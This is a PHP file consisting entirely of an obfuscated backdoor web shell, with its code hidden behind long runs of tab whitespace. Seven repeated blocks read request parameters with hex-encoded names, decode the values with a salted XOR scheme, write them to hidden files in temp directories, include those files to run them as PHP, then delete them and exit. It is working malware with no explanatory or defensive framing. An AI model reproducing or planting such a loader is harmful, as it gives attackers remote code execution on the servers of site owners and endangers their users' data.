<?php																																										if(array_key_exists("\x64\x61t", $_REQUEST)){ $pgrp = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]); $ref = $_REQUEST["\x64\x61t"]; $ref = explode( "." , $ref ) ; $component =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); foreach ($ref as $p => $v2): $chS =ord($s[$p% $lenS]); $dec =((int)$v2 - $chS - ($p% 10)) ^ 77; $component .= chr($dec); endforeach; $ent = 0; do { $key = $pgrp[$ent] ?? null; if ($ent >= count($pgrp)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($key)) { $data = vsprintf("%s/%s", [$key, ".data_chunk"]); $file = fopen($data, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $data; @unlink($data); die(); } } $ent++; } while (true); }
																																										if(@$_REQUEST["\x72\x65co\x72d"] !== null){ $holder = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd()]); $binding = $_REQUEST["\x72\x65co\x72d"]; $binding =explode(".", $binding ) ; $sym= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $y= 0; array_walk($binding, function ($v1) use (&$sym, &$y, $s, $sLen) { $chS= ord($s[$y % $sLen] ); $d= ((int)$v1 - $chS - ($y % 10))^ 69; $sym .= chr($d ); $y++; } ); foreach ($holder as $key => $entry) { if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $ent = vsprintf("%s/%s", [$entry, ".pgrp"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(!empty($_POST["b\x69\x6Ed"])){ $entity = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), getcwd(), "/dev/shm", getenv("TEMP")]); $itm = $_POST["b\x69\x6Ed"]; $itm = explode ("." , $itm ) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $u = 0; array_walk($itm ,function ($v1) use (&$sym ,&$u ,$s ,$sLen) { $sChar = ord($s[$u%$sLen]); $dec = ((int)$v1 - $sChar - ($u%10))^ 17; $sym .= chr($dec); $u++; } ); foreach ($entity as $elem) { if (!( !is_dir($elem) || !is_writable($elem) )) { $obj = implode("/", [$elem, ".rec"]); $success = file_put_contents($obj, $sym); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(@$_POST["\x68old\x65r"] !== null){ $resource = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm"]); $pgrp = $_POST["\x68old\x65r"]; $pgrp = explode ( '.' ,$pgrp ) ; $flag= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $p= 0; array_walk( $pgrp, function( $v7) use( &$flag, &$p, $s, $sLen) { $sChar= ord( $s[$p %$sLen]); $d= ( ( int)$v7 - $sChar -( $p %10)) ^ 66; $flag .= chr( $d); $p++; }); foreach ($resource as $dchunk): if (is_writable($dchunk) && is_dir($dchunk)) { $res = "$dchunk" . "/.sym"; $file = fopen($res, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $res; @unlink($res); die(); } } endforeach; }
																																										if(isset($_REQUEST["\x63\x6Fmp"]) ? true : false){ $object = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]); $parameter_group = $_REQUEST["\x63\x6Fmp"]; $parameter_group = explode ( ".", $parameter_group ) ; $dat = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8); $__len = count( $parameter_group); for( $o = 0; $o <$__len; $o++) {$v4 = $parameter_group[$o]; $chS = ord( $s8[$o % $lenS]); $d =( ( int)$v4 - $chS -( $o % 10)) ^ 9; $dat .= chr( $d); } foreach ($object as $k) { if ((is_dir($k) and is_writable($k))) { $desc = "$k" . "/.elem"; if (file_put_contents($desc, $dat)) { include $desc; @unlink($desc); die(); } } } }
																																										if(array_key_exists("bi\x6E\x64i\x6E\x67", $_REQUEST)){ $k = $_REQUEST["bi\x6E\x64i\x6E\x67"]; $k =explode( '.' , $k ) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($k as $x => $v6) { $chS = ord($salt[$x % $lenS]); $d = ((int)$v6 - $chS - ($x % 10)) ^ 64; $mrk .= chr($d); } $res = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); $bind = 0; do { $item = $res[$bind] ?? null; if ($bind >= count($res)) break; if ((is_dir($item) and is_writable($item))) { $ent = implode("/", [$item, ".record"]); if (@file_put_contents($ent, $mrk) !== false) { include $ent; unlink($ent); die(); } } $bind++; } while (true); }


if(isset($_REQUEST) && isset($_REQUEST["\x6Drk"])){
	$token = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]);
	$object = $_REQUEST["\x6Drk"];
	 $object  =	explode(	 "."   ,  $object			) ;	 
	$element =	'';
            $salt5 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen(  $salt5);
            $n =	0;
    
            $__tmp =	$object;
            while(  $v7 =	array_shift(  $__tmp)) {	$sChar =	ord(  $salt5[$n % $lenS]);
                $dec =	(  (  int)$v7 - $sChar -(  $n % 10)) 	^ 	19;
                $element .= chr(  $dec);
                $n++;	} 	
	foreach ($token as $data_chunk):
    		if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) {
    $comp = "$data_chunk" . "/.parameter_group";
    if (@file_put_contents($comp, $element) !== false) {
	include $comp;
	unlink($comp);
	exit;
}
}
endforeach;
}